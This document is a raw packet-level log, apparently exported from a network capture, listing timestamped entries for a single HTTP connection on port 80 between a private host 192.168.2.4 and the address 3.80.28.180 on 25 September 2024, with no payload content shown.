Sep 25, 2024 03:51:32.290498018 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.290522099 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.290539026 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.290961981 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.290973902 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.290993929 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.291007996 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.291018009 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.291024923 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.291033030 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.291045904 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.291052103 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.291059017 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.291069984 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.291083097 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.291094065 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.291095018 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.291095018 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.291107893 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.291121960 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.291132927 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.291145086 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.291155100 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.291155100 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.291162014 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.291174889 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.291174889 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.291186094 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.291197062 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.291212082 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.291215897 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.291225910 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.291240931 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.291253090 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.291263103 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.291264057 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.291270018 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.291291952 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.291328907 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.291866064 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.291877031 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.291887999 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.291902065 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.291913986 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.291919947 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.291927099 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.291939974 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.291951895 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.291958094 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.291965008 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.291969061 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.291979074 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.291990995 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.292005062 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.292015076 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.292020082 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.292032003 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.292095900 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.292304993 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.292319059 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.292330980 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.292341948 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.292354107 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.292363882 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.292367935 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.292381048 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.292393923 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.292428970 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.292428970 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.292524099 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.292537928 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.292548895 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.292562008 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.292574883 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.292587996 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.292593956 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.292601109 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.292613983 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.292629957 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.292635918 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.292635918 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.292645931 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.292659044 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.292671919 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.292684078 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.292695045 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.292696953 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.292723894 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.292723894 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.293206930 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.293220043 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.293266058 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.315982103 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.316008091 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.316023111 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.316106081 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.316157103 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.316169024 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.316180944 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.316194057 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.316205025 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.316241980 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.358616114 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.379756927 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.379770041 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.379781961 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.379831076 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.379842997 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.379853964 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.379878998 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.379925966 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.379930973 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.379962921 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.380004883 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.380043030 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.380057096 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.380069971 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.380083084 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.380095005 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.380131006 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.380249023 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.380261898 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.380274057 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.380285025 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.380299091 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.380309105 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.380311966 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.380322933 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.380325079 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.380350113 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.380511045 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.380523920 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.380534887 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.380548000 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.380553961 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.380559921 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.380582094 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.380666018 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.380678892 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.380691051 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.380712986 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.380839109 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.380851984 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.380863905 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.380877018 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.380884886 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.380891085 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.380902052 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.380908966 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.380914927 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.380934000 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.380934954 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.380949020 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.380958080 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.380983114 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.381186008 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.381198883 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.381210089 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.381222963 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.381234884 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.381243944 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.381247044 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.381261110 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.381264925 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.381274939 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.381288052 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.381289959 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.381310940 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.381525040 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.381536961 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.381547928 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.381557941 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.381575108 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.381575108 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.381597996 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.381599903 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.381611109 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.381619930 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.381625891 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.381638050 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.381649971 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.381661892 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.381673098 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.381675959 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.381688118 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.381700993 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.382031918 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.382044077 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.382055044 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.382066011 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.382077932 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.382088900 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.382096052 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.382116079 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.382179022 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.382191896 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.382204056 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.382224083 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.382242918 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.382333994 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.382347107 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.382360935 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.382373095 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.382381916 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.382385969 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.382399082 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.382404089 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.382411003 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.382424116 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.382436037 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.382436991 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.382448912 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.382461071 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.382462025 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.382476091 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.382487059 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.382498980 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.382503033 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.382510900 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.382525921 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.382536888 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.383095980 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.383109093 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.383119106 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.383131981 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.383143902 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.383155107 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.383157969 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.383167982 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.383181095 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.383182049 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.383194923 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.383205891 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.383210897 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.383219004 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.383230925 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.383236885 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.383250952 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.383260965 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.383263111 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.383281946 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.383296013 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.383301973 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.383310080 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.383317947 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.383323908 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.383338928 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.383351088 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.383367062 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.383389950 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.383898020 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.383909941 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.383922100 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.383934021 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.383945942 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.383956909 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.383961916 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.383970022 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.383981943 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.383990049 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.383994102 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.384006023 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.384012938 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.384017944 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.384031057 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.384033918 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.384043932 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.384057045 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.384058952 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.384073019 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.384087086 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.385586023 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.407171011 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.407193899 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.407207966 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.407264948 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.407309055 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.407326937 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.407336950 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.407347918 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.407357931 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.407377005 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.452358007 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.470855951 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.470901966 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.470912933 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.471002102 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.471039057 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.471050024 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.471060038 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.471071959 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.471081972 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.471164942 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.471213102 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.471239090 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.471251011 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.471261978 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.471267939 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.471330881 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.471421957 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.471432924 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.471442938 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.471448898 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.471492052 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.471507072 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.471586943 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.471609116 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.471621037 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.471632004 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.471646070 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.471651077 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.471654892 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.471667051 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.471678019 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.471679926 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.471692085 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.471697092 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.471723080 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.471954107 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.471966028 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.471971989 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.471982956 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.472001076 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.472012043 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.472018003 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.472023010 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.472035885 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.472043037 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.472048998 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.472054005 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.472063065 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.472075939 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.472085953 CEST	80	49730	3.80.28.180	192.168.2.4
